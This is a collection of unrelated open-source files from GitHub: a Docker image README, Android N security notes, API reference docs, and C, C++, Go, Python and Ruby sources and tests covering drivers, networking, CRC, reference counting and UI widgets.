allows Node.js to act as a web server without additional software such as Apache. > [wikipedia.org/wiki/Node.js](https://en.wikipedia.org/wiki/Node.js) ![logo](https://raw.githubusercontent.com/docker-library/docs/01c12653951b2fe592c1f93a13b4e289ada0e3a1/node/logo.png). # Supported versions and respective `Dockerfile` links : [&#x60;14.7.0 (latest)&#x60;, &#x60;12.18.3&#x60;, &#x60;10.22.0&#x60;](https://github.com/balena-io-library/base-images/tree/master/balena-base-images/node/blackboard-tx2/ubuntu/) For more information about this image and its history, please see the [relevant manifest file (`blackboard-tx2-ubuntu-node`)](https://github.com/balena-io-library/official-images/blob/master/library/blackboard-tx2-ubuntu-node) in the [`balena-io-library/official-images` GitHub repo](https://github.com/balena-io-library/official-images). # How to use this image ### Create a `Dockerfile` in your Node.js app project ```dockerfile # specify the node base image with your desired version node:<version> FROM balenalib/blackboard-tx2-ubuntu-node:latest # replace this with your application's default port EXPOSE 8888 ``` You can then build and run the Docker image: ```console $ docker build -t my-nodejs-app . $ docker run -it --rm --name my-running-app my-nodejs-app ``` If you prefer Docker Compose: ```yml version: "2" services: node: image: "balenalib/blackboard-tx2-ubuntu-node:latest" user: "node" working_dir: /home/node/app environment: - NODE_ENV=production volumes: - ./:/home/node/app expose: - "8081" command: "npm start" ``` You can then run using Docker Compose: ```console $ docker-compose up -d ``` Docker Compose example copies your current directory (including node_modules) to the container. It assumes that your application has a file named [`package.json`](https://docs.npmjs.com/files/package.json) defining [start script](https://docs.npmjs.com/misc/scripts#default-values). ### Run a single Node.js script For many simple, single file projects, you may find it inconvenient to write a complete `Dockerfile`. In such cases, you can run a Node.js script by using the Node.js Docker image directly: ```console $ docker run -it --rm --name my-running-script -v "$PWD":/usr/src/app -w /usr/src/app balenalib/blackboard-tx2-ubuntu-node:latest node your-daemon-or-script.js ``` [example-projects]: https://www.balena.io/docs/learn/getting-started/blackboard-tx2/nodejs/#example-projects?ref=dockerhub [getting-started]: https://www.balena.io/docs/learn/getting-started/blackboard-tx2/nodejs/?ref=dockerhub # User Feedback ## Issues If you have any problems with or questions about this image, please contact us through a [GitHub issue](https://github.com/balena-io-library/base-images/issues). ## Contributing You are invited to contribute new features, fixes, or updates, large or small; we are always thrilled to receive pull requests, and do our best to process them as fast as we can. Before you start to code, we recommend discussing your plans through a [GitHub issue](https://github.com/balena-io-library/base-images/issues), especially for more ambitious contributions. This gives other contributors a chance to point you in the right direction, give you feedback on your design, and help you find out if someone else is working on the same thing. ## Documentation Documentation for this image is stored in the [base images documentation][docs]. Check it out for list of all of our base images including many specialised ones for e.g. node, python, go, smaller images, etc. You can also find more details about new features in `balenalib` base images in this [blog post][migration-docs] [docs]: https://www.balena.io/docs/reference/base-images/base-images/#balena-base-images?ref=dockerhub [variants]: https://www.balena.io/docs/reference/base-images/base-images/#run-vs-build?ref=dockerhub [migration-docs]: https://www.balena.io/blog/new-year-new-balena-base-images/?ref=dockerhub [balena]: https://balena.io/?ref=dockerhub [balena-os]: https://www.balena.io/os/?ref=dockerhub
{ "pile_set_name": "Github" }
APP_ABI := all
{ "pile_set_name": "Github" }
# Sec Change Summary for N Preview ## Key Attestation Can prove to 3rd partys that a hardware keystore exists with certain keys by signing a representation using a factory supplied key > To ensure that the device is using a secure, official Android factory image, Key Attestation requires that the device bootloader provide the following information to the Trusted Execution Environment (TEE)... [from](http://developer.android.com/preview/api-overview.html#key_attestation) ## Network Security Config > In Android N, apps can customize the behavior of their secure (HTTPS, TLS) connections safely, without any code modification, by using the declarative Network Security Config instead of using the conventional error-prone programmatic APIs (e.g. X509TrustManager) - Custom trust anchors. - Debug-only overrides. - Cleartext traffic opt-out. - Certificate pinning. [from](http://developer.android.com/preview/api-overview.html#network_security_config) - `<network-security-config>` - Custom trust achors - can be specified for debug use only - trust root for domain(s) (so no need to purchase a cert) See [Changes to Trusted Certificate Authorities in Android Nougat](http://android-developers.blogspot.co.uk/2016/07/changes-to-trusted-certificate.html) for more. ## APK signature scheme v2 > The PackageManager class now supports verifying apps using the APK signature scheme v2. The APK signature scheme v2 is a whole-file signature scheme that significantly improves verification speed and strengthens integrity guarantees by detecting any unauthorized changes to APK files. [from](http://developer.android.com/preview/api-overview.html#network_security_config) ## Verified Boot Now in 'enforcing' mode. ## Direct Boot > Android N runs in a secure, Direct Boot mode when the device has been powered on but the user has not unlocked the device. Introduces - _Credential encrypted storage_, which is the default storage location and only available after the user has unlocked the device. - _Device encrypted storage_, which is a storage location available both during Direct Boot mode and after the user has unlocked the device. [from](http://developer.android.com/preview/features/direct-boot.html) ## Crypto security provider has been ~~removed~~ deprecated. > You should only call to the Java Cryptography Extension (JCE) APIs with a provider listed if the provider is included in the code of the APK. Otherwise, your app needs to be able to handle the provider’s absence. > The reason apps use this provider is to take advantage of its SecureRandom implementation. If your app was relying on setSeed() to derive keys from strings, you must either switch to using SecretKeySpec to load raw key bytes directly, or use a real key derivation function (KDF). This was originally copied from [the N release notes](http://developer.android.com/preview/behavior-changes.html#open-jdk) but has since been removed (less than 24 hours after publishing. It was found under the heading _Platform Migration toward OpenJDK 8_. This has now been clarified with [Security "Crypto" provider deprecated in Android N](http://android-developers.blogspot.co.uk/2016/06/security-crypto-provider-deprecated-in.html?utm_source=androiddevdigest). > Note 1: as a temporary measure to keep apps working, we decided to still create the instance for apps targeting SDK version 23, the SDK version for Marshmallow, or less. Please don't rely on the presence of the Crypto provider in the Android SDK, our plan is to delete it completely in the future. > Note 2: Because many parts of the system assume the existence of a SHA1PRNG algorithm, when an instance of SHA1PRNG is requested and the provider is not specified we return an instance of OpenSSLRandom, which is a strong source of random numbers derived from OpenSSL. ## **MUST** have a hardware KeyStore > When the device implementation supports a secure lock screen it MUST back up the keystore implementation with secure hardware... From [Android 7.0 Compatibility Definition](http://source.android.com/compatibility/7.0/android-7.0-cdd.html#9_11_keys_and_credentials) This is only if _shipped_ with 7. See the KeyStore section in this guide for more info. ## Other - [`seccomp`](https://en.wikipedia.org/wiki/Seccomp) api now available natively - See [IO16 talk](https://youtu.be/XZzLjllizYs?list=PLWz5rJ2EKKc8jQTUYvIfqA9lMvSGQWtte&t=2622) for more. - Can be used to restrict process operations - `/proc/` and `/sys/` restrictions [issuetracker.google](https://issuetracker.google.com/issues/37091475) - Can access process info via `PACKAGE_USAGE_STATS` but the obtaining of this perm is a [bit crummy](https://stackoverflow.com/a/36822181/236743) - [ioctl](https://android-developers.googleblog.com/2016/07/protecting-android-with-more-linux.html)?
{ "pile_set_name": "Github" }
--- title: "IDebugFunctionObject2::CreateObject | Microsoft Docs" ms.date: 11/15/2016 ms.prod: "visual-studio-dev14" ms.technology: "vs-ide-sdk" ms.topic: reference helpviewer_keywords: - "IDebugFunctionObject2::CreateObject" - "CreateObject" ms.assetid: 148de615-941e-4b64-ab11-75b692aae465 caps.latest.revision: 10 ms.author: gregvanl manager: jillfra --- # IDebugFunctionObject2::CreateObject [!INCLUDE[vs2017banner](../../../includes/vs2017banner.md)] Creates an object that uses a constructor given evaluation flag settings and a timeout value. ## Syntax ```cpp# HRESULT CreateObject ( IDebugFunctionObject* pConstructor, DWORD dwArgs, IDebugObject* pArgs[], DWORD dwEvalFlags, DWORD dwTimeout, IDebugObject** ppObject ); ``` ```csharp int CreateObject ( IDebugFunctionObject pConstructor, uint dwArgs, IDebugObject[] pArgs, uint dwEvalFlags, uint dwTimeout, out IDebugObject** ppObject ); ``` #### Parameters `pConstructor` [in] An [IDebugFunctionObject](../../../extensibility/debugger/reference/idebugfunctionobject.md) object that represents the constructor of the object to be created. `dwArgs` [in] The number of parameters in the `pArg` array. Represents the number of parameters passed to the constructor. `pArgs` [in] An array of [IDebugObject](../../../extensibility/debugger/reference/idebugobject.md) objects that represents the parameters passed to the constructor. `dwEvalFlags` [in] A combination of flags from the [EVALFLAGS](../../../extensibility/debugger/reference/evalflags.md) enumeration that specify how the evaluation is to be performed. `dwTimeout` [in] Maximum time, in milliseconds, to wait before returning from this method. Use **INFINITE** to wait indefinitely. `ppObject` [out] Returns an **IDebugObject** representing the newly created object. ## Return Value If successful, returns `S_OK`; otherwise, returns an error code. ## Remarks Call this method to create an object that represents an instance of a class, or other complex type that requires a constructor, that is a parameter. ## See Also [IDebugFunctionObject2](../../../extensibility/debugger/reference/idebugfunctionobject2.md)
{ "pile_set_name": "Github" }
/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // This file was automatically generated by informer-gen package example import ( v1 "k8s.io/code-generator/_examples/crd/informers/externalversions/example2/v1" internalinterfaces "k8s.io/code-generator/_examples/crd/informers/externalversions/internalinterfaces" ) // Interface provides access to each of this group's versions. type Interface interface { // V1 provides access to shared informers for resources in V1. V1() v1.Interface } type group struct { factory internalinterfaces.SharedInformerFactory namespace string tweakListOptions internalinterfaces.TweakListOptionsFunc } // New returns a new Interface. func New(f internalinterfaces.SharedInformerFactory, namespace string, tweakListOptions internalinterfaces.TweakListOptionsFunc) Interface { return &group{factory: f, namespace: namespace, tweakListOptions: tweakListOptions} } // V1 returns a new v1.Interface. func (g *group) V1() v1.Interface { return v1.New(g.factory, g.namespace, g.tweakListOptions) }
{ "pile_set_name": "Github" }
[-vpa] [-o FILE] PROG ARGS Run PROG, display resource usage when it exits -v Verbose -p POSIX output format -f FMT Custom format -o FILE Write result to FILE -a Append (else overwrite)
{ "pile_set_name": "Github" }
<com.canyinghao.canrefresh.CanRefreshLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:id="@+id/refresh" android:layout_width="match_parent" android:layout_height="match_parent" app:can_bg_down="@color/google_green" app:can_bg_up="@color/google_red"> <TextView android:id="@+id/can_content_view" android:layout_width="match_parent" android:layout_height="match_parent" android:background="#ffffff" android:lineSpacingExtra="5dp" android:padding="20dp" /> <com.canyinghao.canrefresh.classic.ClassicRefreshView android:id="@id/can_refresh_header" android:layout_width="match_parent" android:layout_height="wrap_content" /> <com.canyinghao.canrefresh.classic.ClassicRefreshView android:id="@id/can_refresh_footer" android:layout_width="match_parent" android:layout_height="wrap_content" /> </com.canyinghao.canrefresh.CanRefreshLayout>
{ "pile_set_name": "Github" }
/* mga_irq.c -- IRQ handling for radeon -*- linux-c -*- */ /* * Copyright (C) The Weather Channel, Inc. 2002. All Rights Reserved. * * The Weather Channel (TM) funded Tungsten Graphics to develop the * initial release of the Radeon 8500 driver under the XFree86 license. * This notice must be preserved. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice (including the next * paragraph) shall be included in all copies or substantial portions of the * Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. * * Authors: * Keith Whitwell <keith@tungstengraphics.com> * Eric Anholt <anholt@FreeBSD.org> */ #include <drm/drmP.h> #include <drm/mga_drm.h> #include "mga_drv.h" u32 mga_get_vblank_counter(struct drm_device *dev, int crtc) { const drm_mga_private_t *const dev_priv = (drm_mga_private_t *) dev->dev_private; if (crtc != 0) return 0; return atomic_read(&dev_priv->vbl_received); } irqreturn_t mga_driver_irq_handler(DRM_IRQ_ARGS) { struct drm_device *dev = (struct drm_device *) arg; drm_mga_private_t *dev_priv = (drm_mga_private_t *) dev->dev_private; int status; int handled = 0; status = MGA_READ(MGA_STATUS); /* VBLANK interrupt */ if (status & MGA_VLINEPEN) { MGA_WRITE(MGA_ICLEAR, MGA_VLINEICLR); atomic_inc(&dev_priv->vbl_received); drm_handle_vblank(dev, 0); handled = 1; } /* SOFTRAP interrupt */ if (status & MGA_SOFTRAPEN) { const u32 prim_start = MGA_READ(MGA_PRIMADDRESS); const u32 prim_end = MGA_READ(MGA_PRIMEND); MGA_WRITE(MGA_ICLEAR, MGA_SOFTRAPICLR); /* In addition to clearing the interrupt-pending bit, we * have to write to MGA_PRIMEND to re-start the DMA operation. */ if ((prim_start & ~0x03) != (prim_end & ~0x03)) MGA_WRITE(MGA_PRIMEND, prim_end); atomic_inc(&dev_priv->last_fence_retired); DRM_WAKEUP(&dev_priv->fence_queue); handled = 1; } if (handled) return IRQ_HANDLED; return IRQ_NONE; } int mga_enable_vblank(struct drm_device *dev, int crtc) { drm_mga_private_t *dev_priv = (drm_mga_private_t *) dev->dev_private; if (crtc != 0) { DRM_ERROR("tried to enable vblank on non-existent crtc %d\n", crtc); return 0; } MGA_WRITE(MGA_IEN, MGA_VLINEIEN | MGA_SOFTRAPEN); return 0; } void mga_disable_vblank(struct drm_device *dev, int crtc) { if (crtc != 0) { DRM_ERROR("tried to disable vblank on non-existent crtc %d\n", crtc); } /* Do *NOT* disable the vertical refresh interrupt. MGA doesn't have * a nice hardware counter that tracks the number of refreshes when * the interrupt is disabled, and the kernel doesn't know the refresh * rate to calculate an estimate. */ /* MGA_WRITE(MGA_IEN, MGA_VLINEIEN | MGA_SOFTRAPEN); */ } int mga_driver_fence_wait(struct drm_device *dev, unsigned int *sequence) { drm_mga_private_t *dev_priv = (drm_mga_private_t *) dev->dev_private; unsigned int cur_fence; int ret = 0; /* Assume that the user has missed the current sequence number * by about a day rather than she wants to wait for years * using fences. */ DRM_WAIT_ON(ret, dev_priv->fence_queue, 3 * DRM_HZ, (((cur_fence = atomic_read(&dev_priv->last_fence_retired)) - *sequence) <= (1 << 23))); *sequence = cur_fence; return ret; } void mga_driver_irq_preinstall(struct drm_device *dev) { drm_mga_private_t *dev_priv = (drm_mga_private_t *) dev->dev_private; /* Disable *all* interrupts */ MGA_WRITE(MGA_IEN, 0); /* Clear bits if they're already high */ MGA_WRITE(MGA_ICLEAR, ~0); } int mga_driver_irq_postinstall(struct drm_device *dev) { drm_mga_private_t *dev_priv = (drm_mga_private_t *) dev->dev_private; DRM_INIT_WAITQUEUE(&dev_priv->fence_queue); /* Turn on soft trap interrupt. Vertical blank interrupts are enabled * in mga_enable_vblank. */ MGA_WRITE(MGA_IEN, MGA_SOFTRAPEN); return 0; } void mga_driver_irq_uninstall(struct drm_device *dev) { drm_mga_private_t *dev_priv = (drm_mga_private_t *) dev->dev_private; if (!dev_priv) return; /* Disable *all* interrupts */ MGA_WRITE(MGA_IEN, 0); dev->irq_enabled = 0; }
{ "pile_set_name": "Github" }
* It worked the first time. * And it worked the second time. * Then, surprisingly, it worked the third time. * Fourth time also fine!.
{ "pile_set_name": "Github" }
SourceCode: https://github.com/xamarin/xamarin-macios Title: Xamarin.iOS Image: https://github.com/xamarin/xamarin-macios/blob/master/banner.png Description: Create native iOS apps with C# Website: https://www.xamarin.com/platform Docs: https://docs.microsoft.com/en-us/xamarin/ios/ Chat: https://gitter.im/xamarin/xamarin-macios Language: C# Foundation: true Microsoft: true Tags: - Xamarin - API - iOS - Application Framework DiscoveryDate: 2/19/2019
{ "pile_set_name": "Github" }
import threading import unittest import docker from datetime import datetime, timedelta from ..helpers import requires_api_version from .base import TEST_API_VERSION class ClientTest(unittest.TestCase): client = docker.from_env(version=TEST_API_VERSION) def test_info(self): info = self.client.info() assert 'ID' in info assert 'Name' in info def test_ping(self): assert self.client.ping() is True def test_version(self): assert 'Version' in self.client.version() @requires_api_version('1.25') def test_df(self): data = self.client.df() assert 'LayersSize' in data assert 'Containers' in data assert 'Volumes' in data assert 'Images' in data class CancellableEventsTest(unittest.TestCase): client = docker.from_env(version=TEST_API_VERSION) def test_cancel_events(self): start = datetime.now() events = self.client.events(until=start + timedelta(seconds=5)) cancel_thread = threading.Timer(2, events.close) cancel_thread.start() for _ in events: pass self.assertLess(datetime.now() - start, timedelta(seconds=3))
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <UIKit/_UILegibilitySettings.h> @interface _UILegibilitySettings (SpringBoard) - (id)sb_styleString; - (id)sb_description; @end
{ "pile_set_name": "Github" }
/* 7zCrc.h -- CRC32 calculation 2013-01-18 : Igor Pavlov : Public domain */ #ifndef __7Z_CRC_H #define __7Z_CRC_H #include "7zTypes.h" EXTERN_C_BEGIN extern UInt32 g_CrcTable[]; /* Call CrcGenerateTable one time before other CRC functions */ void MY_FAST_CALL CrcGenerateTable(void); #define CRC_INIT_VAL 0xFFFFFFFF #define CRC_GET_DIGEST(crc) ((crc) ^ CRC_INIT_VAL) #define CRC_UPDATE_BYTE(crc, b) (g_CrcTable[((crc) ^ (b)) & 0xFF] ^ ((crc) >> 8)) UInt32 MY_FAST_CALL CrcUpdate(UInt32 crc, const void *data, size_t size); UInt32 MY_FAST_CALL CrcCalc(const void *data, size_t size); EXTERN_C_END #endif
{ "pile_set_name": "Github" }
// This code is in the public domain -- Ignacio Castaño <castano@gmail.com> #ifndef NV_CORE_REFCOUNTED_H #define NV_CORE_REFCOUNTED_H #include "nvcore.h" #include "Debug.h" #define NV_DECLARE_PTR(Class) \ template <class T> class SmartPtr; \ typedef SmartPtr<class Class> Class ## Ptr; \ typedef SmartPtr<const class Class> Class ## ConstPtr namespace nv { /// Weak proxy. class WeakProxy { NV_FORBID_COPY(WeakProxy); public: /// Ctor. WeakProxy(void * ptr) : m_count(0), m_ptr(ptr) { } /// Dtor. ~WeakProxy() { nvCheck( m_count == 0 ); } /// Increase reference count. uint addRef() const { m_count++; return m_count; } /// Decrease reference count and remove when 0. uint release() const { nvCheck( m_count > 0 ); m_count--; if( m_count == 0 ) { delete this; return 0; } return m_count; } /// WeakPtr's call this to determine if their pointer is valid or not. bool isAlive() const { return m_ptr != NULL; } /// Only the actual object should call this. void notifyObjectDied() { m_ptr = NULL; } /// Return proxy pointer. void * ptr() const { return m_ptr; } private: mutable int m_count; void * m_ptr; }; /// Reference counted base class to be used with SmartPtr and WeakPtr. class RefCounted { NV_FORBID_COPY(RefCounted); public: /// Ctor. RefCounted() : m_count(0), m_weak_proxy(NULL) { } /// Virtual dtor. virtual ~RefCounted() { nvCheck( m_count == 0 ); releaseWeakProxy(); } /// Increase reference count. uint addRef() const { m_count++; return m_count; } /// Decrease reference count and remove when 0. uint release() const { nvCheck( m_count > 0 ); m_count--; if( m_count == 0 ) { delete this; return 0; } return m_count; } /// Get weak proxy. WeakProxy * getWeakProxy() const { if (m_weak_proxy == NULL) { m_weak_proxy = new WeakProxy((void *)this); m_weak_proxy->addRef(); } return m_weak_proxy; } /// Release the weak proxy. void releaseWeakProxy() const { if (m_weak_proxy != NULL) { m_weak_proxy->notifyObjectDied(); m_weak_proxy->release(); m_weak_proxy = NULL; } } /// Get reference count. int refCount() const { return m_count; } private: mutable int m_count; mutable WeakProxy * m_weak_proxy; }; } // nv namespace #endif // NV_CORE_REFCOUNTED_H
{ "pile_set_name": "Github" }
// // detail/resolve_endpoint_op.hpp // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // // Copyright (c) 2003-2016 Christopher M. Kohlhoff (chris at kohlhoff dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #ifndef BOOST_ASIO_DETAIL_RESOLVER_ENDPOINT_OP_HPP #define BOOST_ASIO_DETAIL_RESOLVER_ENDPOINT_OP_HPP #if defined(_MSC_VER) && (_MSC_VER >= 1200) # pragma once #endif // defined(_MSC_VER) && (_MSC_VER >= 1200) #include <boost/asio/detail/config.hpp> #include <boost/asio/error.hpp> #include <boost/asio/io_service.hpp> #include <boost/asio/ip/basic_resolver_iterator.hpp> #include <boost/asio/detail/addressof.hpp> #include <boost/asio/detail/bind_handler.hpp> #include <boost/asio/detail/fenced_block.hpp> #include <boost/asio/detail/handler_alloc_helpers.hpp> #include <boost/asio/detail/handler_invoke_helpers.hpp> #include <boost/asio/detail/operation.hpp> #include <boost/asio/detail/socket_ops.hpp> #include <boost/asio/detail/push_options.hpp> namespace boost { namespace asio { namespace detail { template <typename Protocol, typename Handler> class resolve_endpoint_op : public operation { public: BOOST_ASIO_DEFINE_HANDLER_PTR(resolve_endpoint_op); typedef typename Protocol::endpoint endpoint_type; typedef boost::asio::ip::basic_resolver_iterator<Protocol> iterator_type; resolve_endpoint_op(socket_ops::weak_cancel_token_type cancel_token, const endpoint_type& endpoint, io_service_impl& ios, Handler& handler) : operation(&resolve_endpoint_op::do_complete), cancel_token_(cancel_token), endpoint_(endpoint), io_service_impl_(ios), handler_(BOOST_ASIO_MOVE_CAST(Handler)(handler)) { } static void do_complete(io_service_impl* owner, operation* base, const boost::system::error_code& /*ec*/, std::size_t /*bytes_transferred*/) { // Take ownership of the operation object. resolve_endpoint_op* o(static_cast<resolve_endpoint_op*>(base)); ptr p = { boost::asio::detail::addressof(o->handler_), o, o }; if (owner && owner != &o->io_service_impl_) { // The operation is being run on the worker io_service. Time to perform // the resolver operation. // Perform the blocking endpoint resolution operation. char host_name[NI_MAXHOST]; char service_name[NI_MAXSERV]; socket_ops::background_getnameinfo(o->cancel_token_, o->endpoint_.data(), o->endpoint_.size(), host_name, NI_MAXHOST, service_name, NI_MAXSERV, o->endpoint_.protocol().type(), o->ec_); o->iter_ = iterator_type::create(o->endpoint_, host_name, service_name); // Pass operation back to main io_service for completion. o->io_service_impl_.post_deferred_completion(o); p.v = p.p = 0; } else { // The operation has been returned to the main io_service. The completion // handler is ready to be delivered. BOOST_ASIO_HANDLER_COMPLETION((o)); // Make a copy of the handler so that the memory can be deallocated // before the upcall is made. Even if we're not about to make an upcall, // a sub-object of the handler may be the true owner of the memory // associated with the handler. Consequently, a local copy of the handler // is required to ensure that any owning sub-object remains valid until // after we have deallocated the memory here. detail::binder2<Handler, boost::system::error_code, iterator_type> handler(o->handler_, o->ec_, o->iter_); p.h = boost::asio::detail::addressof(handler.handler_); p.reset(); if (owner) { fenced_block b(fenced_block::half); BOOST_ASIO_HANDLER_INVOCATION_BEGIN((handler.arg1_, "...")); boost_asio_handler_invoke_helpers::invoke(handler, handler.handler_); BOOST_ASIO_HANDLER_INVOCATION_END; } } } private: socket_ops::weak_cancel_token_type cancel_token_; endpoint_type endpoint_; io_service_impl& io_service_impl_; Handler handler_; boost::system::error_code ec_; iterator_type iter_; }; } // namespace detail } // namespace asio } // namespace boost #include <boost/asio/detail/pop_options.hpp> #endif // BOOST_ASIO_DETAIL_RESOLVER_ENDPOINT_OP_HPP
{ "pile_set_name": "Github" }
/*========================================================================= Library: CTK Copyright (c) Kitware Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0.txt Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =========================================================================*/ // Qt includes #include <QSignalSpy> // CTK includes #include "ctkAddRemoveComboBox.h" #include "ctkTestApplication.h" // STD includes #include <cstdlib> #include <iostream> //----------------------------------------------------------------------------- QCTK_DECLARE_TEST(ctkAddRemoveComboBoxTest1) { ctkAddRemoveComboBox ctkObject; int currentCount = ctkObject.count(); if (currentCount != 0) { ctkObject.printAdditionalInfo(); std::cerr << __LINE__ << " - Error in count() - Expected: 0, current:" << currentCount << std::endl; QCTK_EXIT_TEST(EXIT_FAILURE); } // Add items ctkObject.addItem("Item1"); ctkObject.addItem("Item2"); ctkObject.addItem("Item3"); currentCount = ctkObject.count(); if (currentCount != 3) { ctkObject.printAdditionalInfo(); std::cerr << __LINE__ << " - Error in count() - Expected: 3, current:" << currentCount << std::endl; QCTK_EXIT_TEST(EXIT_FAILURE); } if (ctkObject.itemText(0) != "Item1" || ctkObject.itemText(1) != "Item2" || ctkObject.itemText(2) != "Item3") { ctkObject.printAdditionalInfo(); std::cerr << __LINE__ << " - Error in itemText()" << std::endl << " Expected items [Item1, Item2, Item3]" << std::endl << " Current items [" << qPrintable(ctkObject.itemText(0)) << ", " << qPrintable(ctkObject.itemText(1)) << ", " << qPrintable(ctkObject.itemText(2)) << "]" << std::endl; QCTK_EXIT_TEST(EXIT_FAILURE); } ctkObject.removeItem(1); currentCount = ctkObject.count(); if (currentCount != 2) { ctkObject.printAdditionalInfo(); std::cerr << __LINE__ << " - Error in count() - Expected: 2, current:" << currentCount << std::endl; QCTK_EXIT_TEST(EXIT_FAILURE); } if (ctkObject.itemText(0) != "Item1" || ctkObject.itemText(1) != "Item3") { ctkObject.printAdditionalInfo(); std::cerr << __LINE__ << " - Error in itemText()" << std::endl << " Expected items [Item1, Item3]" << std::endl << " Current items [" << qPrintable(ctkObject.itemText(0)) << ", " << qPrintable(ctkObject.itemText(1)) << "]" << std::endl; QCTK_EXIT_TEST(EXIT_FAILURE); } ctkObject.addItem("Item4"); currentCount = ctkObject.count(); if (currentCount != 3) { ctkObject.printAdditionalInfo(); std::cerr << __LINE__ << " - Error in count() - Expected: 3, current:" << currentCount << std::endl; QCTK_EXIT_TEST(EXIT_FAILURE); } if (ctkObject.itemText(0) != "Item1" || ctkObject.itemText(1) != "Item3" || ctkObject.itemText(2) != "Item4") { ctkObject.printAdditionalInfo(); std::cerr << __LINE__ << " - Error in itemText()" << std::endl << " Expected items [Item1, Item3, Item4]" << std::endl << " Current items [" << qPrintable(ctkObject.itemText(0)) << ", " << qPrintable(ctkObject.itemText(1)) << ", " << qPrintable(ctkObject.itemText(2)) << "]" << std::endl; QCTK_EXIT_TEST(EXIT_FAILURE); } ctkObject.clear(); currentCount = ctkObject.count(); if (currentCount != 0) { ctkObject.printAdditionalInfo(); std::cerr << __LINE__ << " - Error in count() - Expected: 0, current:" << currentCount << std::endl; QCTK_EXIT_TEST(EXIT_FAILURE); } ctkObject.addItem("Item5"); currentCount = ctkObject.count(); if (currentCount != 1) { ctkObject.printAdditionalInfo(); std::cerr << __LINE__ << " - Error in count() - Expected: 1, current:" << currentCount << std::endl; QCTK_EXIT_TEST(EXIT_FAILURE); } if (ctkObject.itemText(0) != "Item5") { ctkObject.printAdditionalInfo(); std::cerr << __LINE__ << " - Error in itemText()" << std::endl << " Expected items [Item5]" << std::endl << " Current items [" << qPrintable(ctkObject.itemText(0)) << "]" << std::endl; QCTK_EXIT_TEST(EXIT_FAILURE); } ctkObject.clear(); currentCount = ctkObject.count(); if (currentCount != 0) { ctkObject.printAdditionalInfo(); std::cerr << __LINE__ << " - Error in count() - Expected: 0, current:" << currentCount << std::endl; QCTK_EXIT_TEST(EXIT_FAILURE); } QCTK_EXIT_TEST(EXIT_SUCCESS); } QCTK_RUN_TEST(ctkAddRemoveComboBoxTest1);
{ "pile_set_name": "Github" }
require 'rubygems' require 'bundler/setup' require 'jruby_mahout' RSpec.configure do |config| end
{ "pile_set_name": "Github" }
gcr.io/google_containers/conformance-arm64:v1.15.1-beta.0
{ "pile_set_name": "Github" }
--- name: design_management_allow_dangerous_images introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16160 rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/34279 group: group::knowledge type: development default_enabled: false
{ "pile_set_name": "Github" }
/* * Copyright (C) Narf Industries <info@narfindustries.com> * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "cgc_memset.h" unsigned int cgc_memset(void *buf, unsigned char ch, unsigned int n) { if (0 == n) { return 0; } unsigned char *p_buf = (unsigned char *)buf; for (unsigned int i = 0; i < n; i++) { p_buf[i] = ch; } return n; }
{ "pile_set_name": "Github" }
